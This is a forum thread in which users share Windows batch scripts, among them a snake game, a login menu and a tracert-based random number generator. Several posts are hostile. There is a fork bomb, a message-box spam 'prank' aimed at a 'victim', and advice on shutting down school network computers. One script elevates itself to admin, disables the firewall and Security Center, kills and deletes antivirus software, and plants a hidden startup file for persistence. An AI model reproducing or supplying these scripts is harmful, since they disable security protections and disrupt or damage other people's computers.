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[TextCodes |BatchFiles|]

@echo off
title  virus loading
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating..
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating...
ping localhost -n 1.9 >nul
cls
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating..
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating...
ping localhost -n 1.9 >nul
cls 
start https://www.google.co.uk/search?q=HoW+2+ReMoVEE+A+ViRuS&ie=utf-8&oe=utf-8&gws_rd=cr&ei=qruwWP-eL6WDgAa554uQCA
ping localhost -n 9 >nul
start https://www.google.co.uk/search?q=MeMeZ+R+KeWoL&ie=utf-8&oe=utf-8&gws_rd=cr&ei=Qr2wWJPxCOHDgAbq7ZLADw
ping localhost -n 3
cls                                                           _____
echo ViRuS
ping localhost -n 2 >nul
cls
echo ....
ping localhost -n 2 >nul
 

 

 

A Cool Little Bat File That Opens Things

 

 

#bat

[Clechay]

net stop SynTPEnhService && TASKKILL /F /IM SynTPEnh.exe && TASKKILL /F /IM SynTPHelper.exe

Can't live without it

[vorticalbox]

39 minutes ago, Clechay said:

net stop SynTPEnhService && TASKKILL /F /IM SynTPEnh.exe && TASKKILL /F /IM SynTPHelper.exe

Can't live without it

what's it do?

[Clechay]

On 2/25/2017 at 6:31 PM, vorticalbox said:

what's it do?

It disables synaptic touchpad enhancements service.

Since update to windows 10 this service binds Alt+Shift+L to logs dump followed with pop-up, if you need Alt+Shift+L you have to disable this service after every reboot.

I have no idea what is starting it, I've disabled everything related I have found.

[Clechay]

It also kills all synaptic processes 

[TextCodes |BatchFiles|]

and heres a sake game

@echo off
color 2e
title CMD Snake Game    -CYANOMOBI
if "%~1" == "startGame" goto :game
if "%~1" == "startController" goto :controller

 

set "choice="
2>nul >nul choice /c:yn /t 0 /d y
if errorlevel 1 if not errorlevel 2 set "choice=choice /cs"
if not defined choice (
  2>nul >nul choice /c:yn /t:y,1
  if errorlevel 1 if not errorlevel 2 set "choice=choice /s"
)
if not defined choice (
  echo ERROR: This game requires the CHOICE command, but it is missing.
  echo Game aborted.
  echo(
  echo A 16 bit port of CHOICE.EXE from FREEDOS is available at
  echo http://winsupport.org/utilities/freedos-choice.html
  echo(
  echo A 32 bit version from ??? suitable for 64 bit machines is available at
  echo http://hp.vector.co.jp/authors/VA007219/dkclonesup/choice.html
  echo(
  exit /b
)

 

set "keys=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
set "keyFile=key.txt"
set "cmdFile=cmd.txt"
set "highscoreFile=last score on !difficulty!.txt"

copy nul "%keyFile%" >nul
start "" /b "%~f0" startController 9^>^>%keyFile% 2^>nul ^>nul
cmd /c "%~f0" startGame 9^<%keyFile% ^<nul
echo(

 

:close
2>nul (>>"%keyFile%" call )||goto :close
del "%keyFile%"
exit /b
:;ZemByte

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:game
setlocal disableDelayedExpansion
title %~nx0
cls

 

set "up=W"
set "down=S"
set "left=A"
set "right=D"

::Both max to 99! And width to 40 and height to 25!
set "width=40"   max=99
set "height=25"  max=99
:: max playing field: (width-2)*(height-2) <= 1365

 

set /a cols=width+1, lines=height+10, area=(width-2)*(height-2)
if %area% gtr 1365 (
  echo ERROR: Playfield area too large
  >"%cmdFile%" (echo quit)
  exit
)
if %lines% lss 14 set lines=14
if %cols% lss 46 set cols=46
mode con: cols=%cols% lines=%lines%

set "spinner1=|"
set "spinner2=/"
set "spinner3=-"
set "spinner4=\"
set "spinner5=O"
set "spinner6=$"
set "spinner= spinner1 spinner2 spinner3 spinner4 spinner5 spinner6"

set "space= "
set "bound=*"
set "food=+"
set "head=@"
set "body=O"
set "death=X"
set "playerSpace=%space%%food%"

set "xDiff%up%=+0"
set "xDiff%down%=+0"
set "xDiff%left%=-1"
set "xDiff%right%=+1"

set "yDiff%up%=-1"
set "yDiff%down%=+1"
set "yDiff%left%=+0"
set "yDiff%right%=+0"

set "%up%Axis=Y"
set "%down%Axis=Y"
set "%left%Axis=X"
set "%right%Axis=X"

set "delay1=20"
set "delay2=16"
set "delay3=12"
set "delay4=7"
set "delay5=5"
set "delay6=3"
set "delay0=0"

set "desc1=Mega Slow"
set "desc2=Crawler"
set "desc3=Slow"
set "desc4=Normal"
set "desc5=Fast"
set "desc6=Insane"
set "desc0=Impossible"

set "spinnerDelay=3"

set /a "width-=1, height-=1"

 

set LF=^

 

 

set ^"\n=^^^%LF%%LF%^%LF%%LF%^^"

:: setErr
:::  Sets the ERRORLEVEL to 1
set "setErr=(call)"

:: clrErr
:::  Sets the ERRORLEVEL to 0
set "clrErr=(call )"

 

set getKey=%\n%
for %%# in (1 2) do if %%#==2 (for /f "eol= delims= " %%1 in ("!args!") do (%\n%
  set "validKeys=%%1"%\n%
  set "key="%\n%
  ^<^&9 set /p "key="%\n%
  if defined key if "!key!" neq ":" (%\n%
    set /a key-=1%\n%
    for %%K in (!key!) do set "key=!keys:~%%K,1!"%\n%
  )%\n%
  for %%K in (!key!) do if "!validKeys:%%K=!" equ "!validKeys!" set "key="%\n%
)) else set args=

 

set draw=%\n%
cls%\n%
for /l %%Y in (0,1,%height%) do echo(!line%%Y!%\n%
echo Mode=!Difficulty!%\n%
echo Score=!score!

set test=%\n%
for %%# in (1 2) do if %%#==2 (for /f "tokens=1-3" %%1 in ("!args!") do (%\n%
  for %%A in ("!line%%2:~%%1,1!") do if "!%%3:%%~A=!" neq "!%%3!" %clrErr% else %setErr%%\n%
)) else set args=

::ZemByte

set plot=%\n%
for %%# in (1 2) do if %%#==2 (for /f "tokens=1-3" %%1 in ("!args!") do (%\n%
  set "part2=!line%%2:~%%1!"%\n%
  set "line%%2=!line%%2:~0,%%1!!%%3!!part2:~1!"%\n%
)) else set args=

::--------------------------------------
:: start the game
setlocal enableDelayedExpansion
call :initialize

::--------------------------------------
:: main loop (infinite loop)
for /l %%. in (1 0 1) do (

  %=== compute time since last move ===%
  for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "t2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, tDiff=t2-t1"
  if !tDiff! lss 0 set /a tDiff+=24*60*60*100

  if !tDiff! geq !delay! (
    %=== delay has expired, so time for movement ===%

    %=== establish direction ===%
    %getKey% ASDW
    for %%K in (!key!) do if "!%%KAxis!" neq "!axis!" (
      set /a "xDiff=xDiff%%K, yDiff=yDiff%%K"
      set "axis=!%%KAxis!"
    )

    %=== erase the tail ===%
    set "TX=!snakeX:~-2!"
    set "TY=!snakeY:~-2!"
    set "snakeX=!snakeX:~0,-2!"
    set "snakeY=!snakeY:~0,-2!"
    %plot% !TX! !TY! space

    %=== compute new head location and attempt to move ===%
    set /a "X=PX+xDiff, Y=PY+yDiff"
    set "X= !X!"
    set "Y= !Y!"
    set "X=!X:~-2!"
    set "Y=!Y:~-2!"
    (%test% !X! !Y! playerSpace) && (

      %=== move successful ===%

      %=== remove the new head location from the empty list ===%
      for %%X in ("!X!") do for %%Y in ("!Y!") do set "empty=!empty:#%%~X %%~Y=!"

      (%test% !X! !Y! food) && (
        %=== moving to food - eat it ===%

        %=== restore the tail ===%
        %plot% !TX! !TY! body
        set "snakeX=!snakeX!!TX!"
        set "snakeY=!snakeY!!TY!"

        %=== increment score and locate and draw new food ===%
        set /a "score+=1, F=(!random!%%(emptyCnt-=1))*6+1"
        for %%F in (!F!) do (%plot% !empty:~%%F,5! food)
        

      ) || (
        %=== moving to empty space ===%

        %=== add the former tail position to the empty list ===%
        set "empty=!empty!#!TX! !TY!"
      )

      %=== draw the new head ===%
      if defined snakeX (%plot% !PX! !PY! body)
      %plot% !X! !Y! head

      %=== Add the new head position to the snake strings ===%
      set "snakeX=!X!!snakeX!"
      set "snakeY=!Y!!snakeY!"
      set "PX=!X!"
      set "PY=!Y!"

      %draw%

    ) || (

      %=== failed move - game over ===%
      %plot% !TX! !TY! body
      call :spinner !PX! !PY! death
      %draw%
      echo(
      color 2c
      echo Note: If you quit now, your score will be
      echo saved in the last score file of !difficulty!
      echo If you press Y, you will go back to the start menu.
      echo If you don't want to override your old file of !difficulty!, then hit Y
      call :ask "Game Over, your score is: !score! on !difficulty!            Would you like to play again? (Y/N)" YN
      color 2e
      if /i "!key!" equ "N" (
        >"%highscoreFile%"  (echo %DATE% %Time% Last score is:!score! on !difficulty!.)
        >"%cmdFile%" (echo quit)
        exit
      ) else (
        call :initialize
      )
    )

    set /a t1=t2
  )
)

:ask  Prompt  ValidKeys

>"%cmdFile%" (echo prompt)
<nul set /p "=%~1 "
:purge
(%getKey%
if not defined key goto :purge
:getResponse
(%getKey% %2)
if not defined key (
  >"%cmdFile%" (echo one)
  goto :getResponse
)
exit /b
::ZemByte

:spinner  X  Y  ValueVar
set /a d1=-1000000
for /l %%N in (1 1 5) do for %%C in (%spinner%) do (
  call :spinnerDelay
  %plot% %1 %2 %%C
  %draw%
)
call :spinnerDelay
(%plot% %1 %2 %3)
exit /b

:spinnerDelay
for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "d2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, dDiff=d2-d1"
if %dDiff% lss 0 set /a dDiff+=24*60*60*100
if %dDiff% lss %spinnerDelay% goto :spinnerDelay
set /a d1=d2
exit /b

::-------------------------------------
:initialize
title Snake Game    -CYANOTECH
cls
echo         CYANOTECH

echo         Options:
echo(                      
echo    @   Description    delay
echo   ___  ___________    ______
echo    1   Mega slow C       0.20
echo    2   Crawler   Y      0.16
echo    3   Slow      N      0.12
echo    4   Normal    O      0.07
echo    5   Fast      Y      0.05
echo    6   Insane    T      0.03
echo    0   Imossible C     none
echo(
echo    To exit the game, hit the close button.
echo    Do not delete the "cmd" and/or
echo    the "key" file!
echo(
call :ask "Pick a speed (1-6, 0):" 12345607
set "difficulty=!desc%key%!"
set "delay=!delay%key%!"
echo %key% - %difficulty%
echo(
<nul set /p "=Initializing."
set "axis=X"
set "xDiff=+1"
set "yDiff=+0"
set "empty="
set /a "PX=1, PY=height/2, FX=width/2+1, FY=PY, score=0, emptyCnt=0, t1=-1000000"
set "snakeX= %PX%"
set "snakeY= %PY%"
set "snakeX=%snakeX:~-2%"
set "snakeY=%snakeY:~-2%"
for /l %%Y in (0 1 %height%) do (
  <nul set /p "=."
  set "line%%Y="
  for /l %%X in (0,1,%width%) do (
    set "cell="
    if %%Y equ 0        set "cell=%bound%"
    if %%Y equ %height% set "cell=%bound%"
    if %%X equ 0        set "cell=%bound%"
    if %%X equ %width%  set "cell=%bound%"
    if %%X equ %PX% if %%Y equ %PY% set "cell=%head%"
    if not defined cell (
      set "cell=%space%"
      set "eX= %%X"
      set "eY= %%Y"
      set "empty=!empty!#!eX:~-2! !eY:~-2!"
      set /a emptyCnt+=1
    )
    if %%X equ %FX% if %%Y equ %FY% set "cell=%food%"
    set "line%%Y=!line%%Y!!cell!"
  )
)
(%draw%)
echo(
echo Movement keys: %up%=up %down%=down %left%=left %right%=right
echo Avoid running into yourself (%body%%body%%head%) or wall (%bound%)
echo Eat food (%food%) to grow.
echo(
call :ask "Press any alpha-numeric key to start... A/Z" %keys%
>"%cmdFile%" (echo go)
exit /b

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:controller

setlocal enableDelayedExpansion
set "cmd=hold"
set "key="
for /l %%. in (1 0 1) do (
  if "!cmd!" neq "hold" (
    %choice% /n /c:!keys!
    set "key=!errorlevel!"
  )
  if exist "%cmdFile%" (
    <"%cmdFile%" set /p "cmd="
    del "%cmdFile%"
  )
  if "!cmd!" equ "quit" exit
  if defined key (
    if "!cmd!" equ "prompt" >&9 (echo
    >&9 (echo !key!)
    if "!cmd!" neq "go" set "cmd=hold"
    set "key="
  )
)
CYANOTECH TUBE.txt
Open with
Displaying CYANOTECH TUBE.txt.

 

[leonfagan71]

On 25/02/2017 at 3:43 PM, TextCodes |BatchFiles| said:

@echo off
title  virus loading
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating..
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating...
ping localhost -n 1.9 >nul
cls
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating..
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating.
ping localhost -n 1.9 >nul
cls 
echo virus activating...
ping localhost -n 1.9 >nul
cls 
start https://www.google.co.uk/search?q=HoW+2+ReMoVEE+A+ViRuS&ie=utf-8&oe=utf-8&gws_rd=cr&ei=qruwWP-eL6WDgAa554uQCA
ping localhost -n 9 >nul
start https://www.google.co.uk/search?q=MeMeZ+R+KeWoL&ie=utf-8&oe=utf-8&gws_rd=cr&ei=Qr2wWJPxCOHDgAbq7ZLADw
ping localhost -n 3
cls                                                           _____
echo ViRuS
ping localhost -n 2 >nul
cls
echo ....
ping localhost -n 2 >nul
 

 

 

A Cool Little Bat File That Opens Things

 

 

#bat

@echo off
:a
start
goto a

The best file, the greatest.

[kermit323]

just a little something i put together enjoy

there is a username and password for it btw

username: user

password: 1234

 

@echo off
color 1a
title Welcome
set /a cl=0
set /p p=Username:
if %p%==user goto :pass
goto :wrong

:wrong
title try again
if %cl%==0 cls
set /a cl=1
echo Try again
goto :wrong

:pass
set /a cl=0
set /p p=Password:
if %p%==1234 goto :menu
goto :wrongpassword

:wrongpassword
title Access Denied
if %cl%==0 cls
set /a cl=1
echo Wrong Password Inputed!
goto :wrongpassword

:menu
title Main Menu
cls
echo -----------------------------------------------
echo 1: View Your IP Address
echo 2: User list on computer
echo 4: Exit Menu
set /p p=:
if %p%==1 goto :IP
if %p%==2 goto :Users
if %p%==4 goto :Exit
if %p%==5 goto :Notepad

:Notepad
start Notepad
goto :menu

:Exit
cls
exit

:IP
title IP
cls
ipconfig
echo ------------------------------------------------
echo a: back to main menu
set /p p=:
if %p%==a goto :menu

:Users
title Users
cls
net users
echo ---------------------------------------------------------------------------------------------------------
echo a: back to main menu
set /p p=:
if %p%==a goto :menu

[Geden_MC]

-------Color Test------

 

@echo off
goto top
:top
cls
echo -----------------------------------
echo ------------Color Test-------------
echo -----------------------------------
echo.
set /p color=C:\
color %color%
goto top

[25m Views]

i made google in batch get it here

 

google drive:

 

https://drive.google.com/file/d/0B-kwekNCP2kgTElBc09NdXlOSWs/view

 

virus total report:

 

https://www.virustotal.com/en/file/202e3bd7c514ac6d9a991260ebd8aba5b721f5f38d384dd19fdb59a17075f064/analysis/1500120178/

 

google v 2.2.bat

 

if you are curious here is the code but when putting it into a text document the visuals mess up.

 

@echo off
color 0a
title google by sam
:K
cls
echo welcome to Sam's Search engine!
echo TO FULLY FUNCTION MAKE SURE CHROME IS INSTALLED!! 
goto :A

:A
echo welcome to google the time currently is...
echo %TIME%
ECHO %DATE%
echo                  `.-:///++++///:-.`                                                                                                                                                                     
echo              .:/+oooooooooooooooooo+/-.                                                                                                                       :++++++-                                  
echo           .:+oooooooooooooooooooooooooo+:`                                                                                                                    :++++++-                                  
echo        `-+ooooooooooo++//////++ooooooooooo/                                                                                                                   :++++++-                                  
echo       -+oooooooo+/-.`          `.:/+ooooo:`                                                                                                                   :++++++-                                  
echo     `/oooooooo/-`                  `-/+:`                                                                                                                     :++++++-                                  
echo    .+ooooooo/.                        `                                                                                                                       :++++++-                                  
echo   -ooooooo+.                                                                                                                                                  :++++++-                                  
echo  .+oooooo+`                                                                                                                                                   :++++++-                                  
echo  +oooooo+`                                                   `.--::////::-.`                    `.:/oossssoo/:-`                    `.-://///:-.`  `......`   :++++++-           `.-::////::-.`         
echo .ooooooo-                                                 `-//++++++++++++++/:.              `:oyhddddddddddddhyo:`              .:++ooooooooooo+/./oooooo.   :++++++-        .:/+++++++++++++/:.       
echo :ooooooo`                 .......................`      `:+++++++++++++++++++++/.          `+yhddddddddddddddddddhy+.          ./+ooooooooooooooooo+oooooo.   :++++++-      ./+++++++++++++++++++/.     
echo /oooooo+                 `+++++++++++++++++++++++:     -+++++++++/:---::/++++++++/`       :ydddddddhyo++++oyhdddddddy/       `/oooooooo+/::-://+oooooooooo.   :++++++-    `:++++++++/:----:/+++++++:`   
echo /oooooo+                 `ooooooooooooooooooooooo:    :+++++++/.`       ``:++++++++.     /hddddddy/.`      `./yddddddh+     .+oooooo+:.`       `:+oooooooo.   :++++++-   `/+++++++:``       `:++++++/`  
echo :ooooooo`                `ooooooooooooooooooooooo:   :+++++++-             `/+++++++`   :hddddddo`            `+hdddddd/   `+oooooo/`            `/ooooooo.   :++++++-   :++++++/`       ``.:/+++++++/` 
echo .ooooooo:                 ................/oooooo-  .+++++++.                /++++++/   hddddddo                +ddddddh`  :oooooo+`               /oooooo.   :++++++-  .+++++++`    `.-//++++++++++/:` 
echo  /ooooooo.                               `+oooooo`  :++++++/                 .+++++++` -ddddddd`                `hdddddd:  +oooooo-                .oooooo.   :++++++-  -++++++/`.-:/++++++++++/:-.`    
echo  `+oooooo+.                              /oooooo/   :++++++:                 `+++++++` :ddddddd                  ydddddd/ `ooooooo.                `oooooo.   :++++++-  :+++++++/+++++++++/:-.`         
echo   .+oooooo+:`                          `:oooooo+`   -++++++/                 .+++++++  -ddddddd.                `hdddddd:  +oooooo-                -oooooo.   :++++++-  -++++++++++++//-.``             
echo    `+ooooooo+-`                      `./oooooo+-    `+++++++-               `/++++++:   ydddddds`               oddddddh`  :oooooo+`              `+oooooo.   :++++++-  `++++++++/:.``                  
echo     `:+ooooooo+:.`                 `-/ooooooo+.      -+++++++-`            ./++++++/`   -hdddddds.            .oddddddh:   `+oooooo+.            `/ooooooo.   :++++++-   -+++++++-`            `::.`    
echo      ./+oooooooo+/-.````   ```.-:/+ooooooo+:`        :+++++++/-``      `.:+++++++/.     :hddddddho-``    ``-ohddddddh/     `+ooooooo/-`      `.:+oooooooo.   :++++++-    :+++++++/-`       `.:++++/:.  
echo         ./+ooooooooooo+++///+++oooooooooo+:.           -/++++++++//::::/+++++++++:`       -shdddddddhsoooosydddddddhy-       `:+ooooooo+//:://+ooooooooooo.   :++++++-     -/++++++++/:::::/+++++++++-  
echo           `-/+oooooooooooooooooooooooo+/-`              `-/++++++++++++++++++++:.          `:shddddddddddddddddddhy:`          ./+oooooooooooooooo++oooooo.   :++++++-      `-/+++++++++++++++++++/:`   
echo              `.:/++oooooooooooooo+++:-`                    .:/+++++++++++++//-`               -+shhddddddddddhhy+-               `-/++ooooooooo++:.:oooooo.   :++++++-        `.:/+++++++++++++/:.`     
echo                   `.--::::::::--..`                           `.--:::::--.`                      `-:/+oooo+/:-`                     `.--:::::-..   /oooooo`   `......`            `.--:::::--.`         
echo                                                                                                                                  ``               `+ooooo+                                              
echo                                                                                                                              `-:/++-              /oooooo:                                              
echo                                                                                                                             -ooooooo/.          ./oooooo+`                                              
echo                                                                                                                              -+ooooooo+:-....-:+ooooooo+`                                               
echo                                                                                                                               `/ooooooooooooooooooooo+:`                                                
echo                                                                                                                                 `:+oooooooooooooooo+:`                                                  
echo                                                                                                                                    `-:/++oooo++/:-`                                                      
pause
set /P c=Do You Wish to go straight to google search[Y/N]?
if /I "%c%" EQU "Y" goto :yyy
if /I "%c%" EQU "N" goto :J
pause
:J
cls
echo version 2.0 update view what happened?
set /P c=Are you sure you want to continue[Y/N]?
if /I "%c%" EQU "Y" goto :yy
if /I "%c%" EQU "N" goto :B
:B
echo do you want to continue to bookmarks?
goto :choice
:choice
set /P c=Are you sure you want to continue[Y/N]?
if /I "%c%" EQU "Y" goto :BEGIN
if /I "%c%" EQU "N" goto :somewhere_else
goto :BEGIN

@ECHO OFF

[B00M3R]

1st file: Save as box.vbs

 

do
x=MsgBox("Are you enjoying this on your screen?",vb0kOnly+vbCritical, "Spam")
loop

 

2nd file: save as boxlauncher.bat

 

@echo off
:a
start box.vbs
goto :a

 

3rd file: Save as SpamPrank2.bat

 

@echo off
color 0a
echo ACTIVATED
pushd "% dp0"
:a
title ACTIVATED
timeout /t 0 /nobreak >nul
msg * Are you enjoying this on your screen right now?
start notepad
start boxlauncher.bat
goto :a

 

#This and below text isn't apart of the code.

This code was created by me and all contents in it. EXPLICIT WARNING: This will completely RUIN someone's pc and I mean RUIN as I type it. You'll even be lucky enough to launch it twice. :) So good luck. :) If your, or whoever's pc was possibly DESTROYED by this prank. I'm not and not to be held responsible for the damage that this may or may not have been caused by this prank, because it was your idea to be a script kiddie and copy my code, which then you decided to launch it on someone's pc. I will include the files as an attachment. Make sure you keep all files in the same folder, or else it won't work. Also launch "SpamPrank2" and not something else, because the victim's pc won't get the full piece of cake. :)

box.vbs

boxlauncher.bat

SpamPrank2.bat

[kornkaobat]

The `tracert` command randomly takes about 50-90 seconds to finish, depending on *ISP,IIG and server jumping*. I've made a script which measure the time which took to run this command and use that number to calculate a *pseudo-random number*.

After initial testing, the script seems to be working fine and generates one pseudorandom number on a specific range of integers. 

 

    @echo off
    cls
    color 0a
    title TimeRandom
    set reduct=1
    set increase=1
    set div=2
    setlocal
    
    :notice
    cls
    echo TimeRandom uses tracert on some specific domain as a source of randomness.
    echo.
    echo Try to set the most furthest server from your location or the server
    echo with the highest ping.
    echo.
    echo For generation of numbers below or equal to 60, You should make sure
    echo the tracert command runs for at least 70 seconds or more for true randomness.
    echo.
    echo This program automatically adjusts itself to high maxbound numbers and or low valuerange
    echo.
    echo Boundaries ranging from 1-60 runtime : 75-90 seconds (est.)
    echo Boundaries ranging from 61-1073741824 runtime : 90 seconds (est.)
    echo Bizarre low valuerange boundaries : 90 seconds (est.)
    echo.
    echo The code author does not guarantee that this code generate true random numbers. Use with caution.
    echo.
    echo The code author should not be responsible for the misuse of this code against all laws and treaties.
    echo.
    set /p ackn=Continue(Y/N):
    
    if %ackn%==Y goto :setbound
    if %ackn%==y goto :setbound 
    goto :EOF  
     
    
    :setbound
    cls
    set /p lowbound=InputLowbound:
    set /p maxbound=InputMaxbound:
    if %maxbound% LEQ %lowbound% goto :EOF
    goto :init
    
    :init
    cls
    call :GetUnixTime utimebefore
    tracert www.roblox.com
    call :GetUnixTime utimeafter
    set /a deltaubm=%utimeafter%-%utimebefore%
    if %maxbound% LEQ 60 set /a deltau=%deltaubm% && goto :chkfn
    goto :initincr
    
    :initincr
    cls
    set /a med=(%lowbound%+%maxbound%)/2
    set /a deltaubm=%deltaubm%*%deltaubm%
    if %deltaubm% GTR %maxbound% goto :reductexpo
    goto :initincr
    
    :reductexpo
    cls
    set /a deltaubm=%deltaubm%/%div%
    if %deltaubm% LEQ %maxbound% set deltau=%deltaubm% && goto :chkfn
    goto :reductexpo
      
    :chkfn
    if %deltau% GTR %maxbound% goto :reductloop
    if %deltau% EQU %maxbound% set varnum=%deltau% && goto :result
    if %deltau% GTR %lowbound% set varnum=%deltau% && goto :result
    if %deltau% EQU %lowbound% set varnum=%deltau% && goto :result
    if %deltau% LSS %lowbound% goto :incrloop
    
    :reductloop
    cls
    set /a deltau=%deltau%-%reduct%
    set /a reduct=%reduct%+1
    if %deltau% GTR %maxbound% goto :reductloop
    if %deltau% EQU %maxbound% set varnum=%deltau% && goto :result
    if %deltau% GTR %lowbound% set varnum=%deltau% && goto :result
    if %deltau% EQU %lowbound% set varnum=%deltau% && goto :result
    if %deltau% LSS %lowbound% goto :incrloop
    
    :incrloop
    cls
    set /a deltau=%deltau%+%increase%
    set /a increase=%increase%+1
    if %deltau% GTR %maxbound% goto :reductloop
    if %deltau% EQU %maxbound% set varnum=%deltau% && goto :result
    if %deltau% GTR %lowbound% set varnum=%deltau% && goto :result
    if %deltau% EQU %lowbound% set varnum=%deltau% && goto :result
    if %deltau% LSS %lowbound% goto :incrloop
    
    :result
    cls
    echo Random Result
    echo.
    echo %varnum%
    echo.
    pause
    goto :setbound
    
    
    :GetUnixTime
    setlocal enableextensions
    for /f %%x in ('wmic path win32_utctime get /format:list ^| findstr "="') do (
        set %%x)
    set /a z=(14-100%Month%%%100)/12, y=10000%Year%%%10000-z
    set /a ut=y*365+y/4-y/100+y/400+(153*(100%Month%%%100+12*z-3)+2)/5+Day-719469
    set /a ut=ut*86400+100%Hour%%%100*3600+100%Minute%%%100*60+100%Second%%%100
    endlocal & set "%1=%ut%" & goto :EOF

 

Thanks to Ritchie Lawrence for UNIX time converter script.

Edited January 20, 2019 by kornkaobat
Proper credit.

[justBATCH]

wiith this file you can shutdown all computers on your school network

 

shutdown -i
pause

[GAP]

Can anyone tell me on a non-admin account, would there be an effective way for a batch file to save itself and cause itself to be run every time that one user logs in?

[Mnky313]

I've made several batch files, to name some of the useful ones:
A Phase10 (card game) score keeper with random phase generation
A Quixx (another game) score card maker (with colour!)
Something to undock and dock my eGPU (replaced with AHK script)
And of course may favourite:

@echo off
%0|%0

Ill post files and photos later today for anyone interested.

[JacobFW]

Best batch file ever

Quote

wscript.exe source.js

And handle all your complicated logic in Javascript rather than the stillborn abomination that is Batch File Scripting.

 

This uses Windows Script Hosts, which is the same engine that VBScript runs on.  One of those little secrets hidden in plain site that Microsoft doesn't really advertise, but that they've had available since '99 or 2000 I believe.

 

Only downsides are that a) it's the version of Javascript that was available in the year 2000, and b) it can be a bitch to debug.

 

Still infinitely better than motherf*@#ing batch files.

 

[AnonHexo]

I'm not responsible for what you do with this script!

Script divided in 3 parts

 

@echo off

Spoiler

 

if not "%1"=="am_admin" (powershell start -verb runas '%0' am_admin & exit /b)

cls

 

 

Spoiler

 

rem —
rem I'm not responsible for what you do with this script!
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:Program Filesalwils~1avast4*.*
del /Q /F C:Program FilesLavasoftAd-awa~1*.exe
del /Q /F C:Program Fileskasper~1*.exe
cls
del /Q /F C:Program Filestrojan~1*.exe
del /Q /F C:Program Filesf-prot95*.dll
del /Q /F C:Program Filestbav*.dat
cls
del /Q /F C:Program Filesavpersonal*.vdf
del /Q /F C:Program FilesNorton~1*.cnt
del /Q /F C:Program FilesMcafee*.*
cls
del /Q /F C:Program FilesNorton~1Norton~1Norton~3*.*
del /Q /F C:Program FilesNorton~1Norton~1speedd~1*.*
del /Q /F C:Program FilesNorton~1Norton~1*.*
del /Q /F C:Program FilesNorton~1*.*
cls
del /Q /F C:Program Filesavgamsr*.exe
del /Q /F C:Program Filesavgamsvr*.exe
del /Q /F C:Program Filesavgemc*.exe
cls
del /Q /F C:Program Filesavgcc*.exe
del /Q /F C:Program Filesavgupsvc*.exe
del /Q /F C:Program Filesgrisoft
del /Q /F C:Program Filesnood32krn*.exe
del /Q /F C:Program Filesnood32*.exe
cls
del /Q /F C:Program Filesnod32
del /Q /F C:Program Filesnood32
del /Q /F C:Program Fileskav*.exe
del /Q /F C:Program Fileskavmm*.exe
del /Q /F C:Program Fileskaspersky*.*
cls
del /Q /F C:Program Filesewidoctrl*.exe
del /Q /F C:Program Filesguard*.exe
del /Q /F C:Program Filesewido*.exe
cls
del /Q /F C:Program Filespavprsrv*.exe
del /Q /F C:Program Filespavprot*.exe
del /Q /F C:Program Filesavengine*.exe
cls
del /Q /F C:Program Filesapvxdwin*.exe
del /Q /F C:Program Fileswebproxy*.exe
del /Q /F C:Program Filespanda software*.*
rem —

cls

 

 

 

Spoiler

 

ping /release >nul

cls

echo ping /release >script.bat

cls

move "script.bat" "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"

cls

cd %appdata%\Microsoft\Windows\Start Menu\Programs\Startup

attrib +h script.bat

cls

ren script.bat WindowsStartupFile.bat

cls && exit

 

 

[AnonHexo]

On 4/7/2020 at 1:58 PM, guest257351 said:

I got one that beats you all by far.

I dont want to take up the chat with 6500 lines of code so ill just give a download link:

https://drive.google.com/open?id=1r-BZ1rWDOIvHJUN1uzpHTT-dajsYj1xO

it's a shit just alot of the same stringa

[Sitri]

A simple "ALIAS" command for the windows CMD - I wrote it because it gets annoying typing *NIX commands and getting told off. It is always the first thing I run when in CMD

 

@echo off

